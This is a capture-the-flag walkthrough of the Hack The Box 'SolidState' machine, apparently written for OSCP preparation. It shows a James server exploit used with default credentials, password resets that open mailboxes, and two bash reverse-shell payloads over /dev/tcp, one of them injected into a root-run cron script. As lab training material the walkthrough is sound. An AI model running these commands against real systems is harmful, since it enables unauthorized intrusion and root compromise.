Hack the Box is an online platform to test and advance your skills in penetration testing and cyber security.

In this series of articles we will show how junior evaluators complete some Hack The Box machines in their road to OSCP, a well-known, respected, and required for many top cybersecurity positions certification. Certified OSCPs are able to identify existing vulnerabilities and execute organized attacks in a controlled and focused manner. They can leverage or modify existing exploit code to their advantage, perform network pivoting and data exfiltration, and compromise systems due to poor configurations.

Let's start with the fun!

SolidState

Initial Foothold

After a normal enumeration we find nothing of interest. We need to run a full nmap scan, which will yield a new port: 4555 rsip.

Then we do nmap -sC -sV -p 4555 10.10.10.51, which outputs the following: 4555/tcp open james-admin JAMES Remote Admin 2.3.2.

Googling about james remote admin 2.3.2 we find a python exploit for James Server 2.3.2 with RCE. Pull the exploit: searchsploit -x 35513.py and rename it: mv 35513.py exploit.py.

It looks like the payload for the exploit executes once an user logs in, so we need to find how to do that first.

Analyzing the exploit, we see that it access the James Remote Admin with the default credentials root:root. We can access it ourselves by doing: telnet 10.10.10.51 4555.

User

Once there, we can use help to list the available commands. One of them stands out: listusers, which outputs a list of users. From here, we can try resetting their passwords with the command setpassword [username] [password].

We reset everyones password to their own name, e.g., james:james. We can now access their mailboxes using the POP3 protocol. None of them have anything relevant except mindy.

1. telnet 10.10.10.51 110
2. USER mindy
3. PASS mindy
4. LIST -> Outputs 2 emails.

The second email holds mindy's ssh credentials.

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first
login.  Your access is restricted at the moment, feel free to ask your supervisor to add any
commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

Password for user mindy is: P@55W0rd1!2@. We can now log in as mindy through ssh: ssh mindy@10.10.10.51.

Root

If we do cat /etc/passwd we will see that mindy's shell is /bin/rbash, which is a restricted shell.

However, since we can log in now, we can trigger the payload of the python script we found earlier. Change the payload to: '[ "$(id -u)" == "0" ] && bash -c "bash -i >& /dev/tcp/10.10.14.44/12345 0>&1"'

Now, to trigger the payload:

1. Run the script (python2): python exploit.py 10.10.10.51.
2. Set up the listener: ncat -lnvp 12345.
3. Log in through ssh: ssh mindy@10.10.10.51.

We get an unrestricted shell as mindy.

Downloading and running bash lse.sh -l1 we see that we have write access to /opt/tmp.py. Doing a quite test with an os.system("touch /tmp/test.txt") reveals that the script is being run by root THREE minutes.

Change the command by: os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.44/6969 0>&1'") set up a listener and wait for the root shell to spawn.